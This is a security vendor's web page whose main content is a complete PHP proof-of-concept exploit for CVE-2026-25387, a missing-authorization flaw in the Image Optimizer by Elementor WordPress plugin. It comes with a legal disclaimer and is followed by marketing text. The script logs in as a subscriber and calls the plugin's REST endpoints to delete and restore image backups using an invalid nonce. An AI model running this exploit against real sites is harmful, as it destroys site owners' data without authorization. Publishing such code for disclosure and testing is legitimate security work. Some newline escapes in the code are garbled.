// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25387 - Image Optimizer by Elementor <= 1.7.1 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-25387
 * Missing Authorization in Image Optimizer by Elementor plugin <= 1.7.1
 * Requires subscriber-level WordPress credentials
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'subscriber'; // CHANGE THIS - subscriber-level account
$password = 'password'; // CHANGE THIS

// WordPress REST API endpoints vulnerable to missing authorization
$endpoints = [
    'remove_backups' => '/wp-json/image-optimization/v1/backups/remove-backups',
    'restore_all' => '/wp-json/image-optimization/v1/backups/restore-all'
];

// Step 1: Authenticate to WordPress and obtain cookies
function authenticate_wordpress($target_url, $username, $password) {
    $login_url = $target_url . '/wp-login.php';
    $admin_url = $target_url . '/wp-admin/';
    
    // Create a cookie jar to maintain session
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_25387');
    
    // Initialize cURL session for login
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_HEADER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $username,
            'pwd' => $password,
            'wp-submit' => 'Log In',
            'redirect_to' => $admin_url,
            'testcookie' => '1'
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded'
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 200) {
        echo "[!] Authentication failed. HTTP Code: $http_coden";
        return false;
    }
    
    echo "[+] Authentication successful. Session cookies stored.n";
    return $cookie_file;
}

// Step 2: Exploit missing authorization vulnerability
function exploit_missing_auth($target_url, $endpoint, $cookie_file, $method = 'POST') {
    $url = $target_url . $endpoint;
    
    // The vulnerability allows any nonce value (including invalid ones)
    // The plugin doesn't properly validate the nonce before checking capabilities
    $payload = [
        'nonce' => 'invalid_nonce_12345' // Any value works due to missing validation
    ];
    
    $ch = curl_init();
    
    if ($method === 'DELETE') {
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
    } else {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
    }
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded',
            'X-Requested-With: XMLHttpRequest'
        ]
    ]);
    
    echo "[+] Sending $method request to: $urln";
    echo "[+] Payload: " . json_encode($payload) . "n";
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if (curl_errno($ch)) {
        echo "[!] cURL Error: " . curl_error($ch) . "n";
    }
    
    curl_close($ch);
    
    echo "[+] Response HTTP Code: $http_coden";
    echo "[+] Response Body: $responsenn";
    
    return $response;
}

// Main execution
if ($target_url === 'http://vulnerable-wordpress-site.com') {
    echo "[!] Please configure the target URL and credentials at the top of the script.n";
    exit(1);
}

echo "=== CVE-2026-25387 Proof of Concept ===n";
echo "Target: $target_urln";
echo "Username: $usernamenn";

// Authenticate
$cookie_file = authenticate_wordpress($target_url, $username, $password);
if (!$cookie_file) {
    exit(1);
}

// Test vulnerability on remove-backups endpoint (DELETE method)
echo "n[1] Testing 'remove-backups' endpoint (DELETE method):n";
exploit_missing_auth($target_url, $endpoints['remove_backups'], $cookie_file, 'DELETE');

// Test vulnerability on restore-all endpoint (POST method)
echo "n[2] Testing 'restore-all' endpoint (POST method):n";
exploit_missing_auth($target_url, $endpoints['restore_all'], $cookie_file, 'POST');

// Cleanup
if (file_exists($cookie_file)) {
    unlink($cookie_file);
}

echo "n=== PoC Complete ===n";
echo "If the plugin is vulnerable (version <= 1.7.1), the requests should succeedn";
echo "despite using an invalid nonce and subscriber-level permissions.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School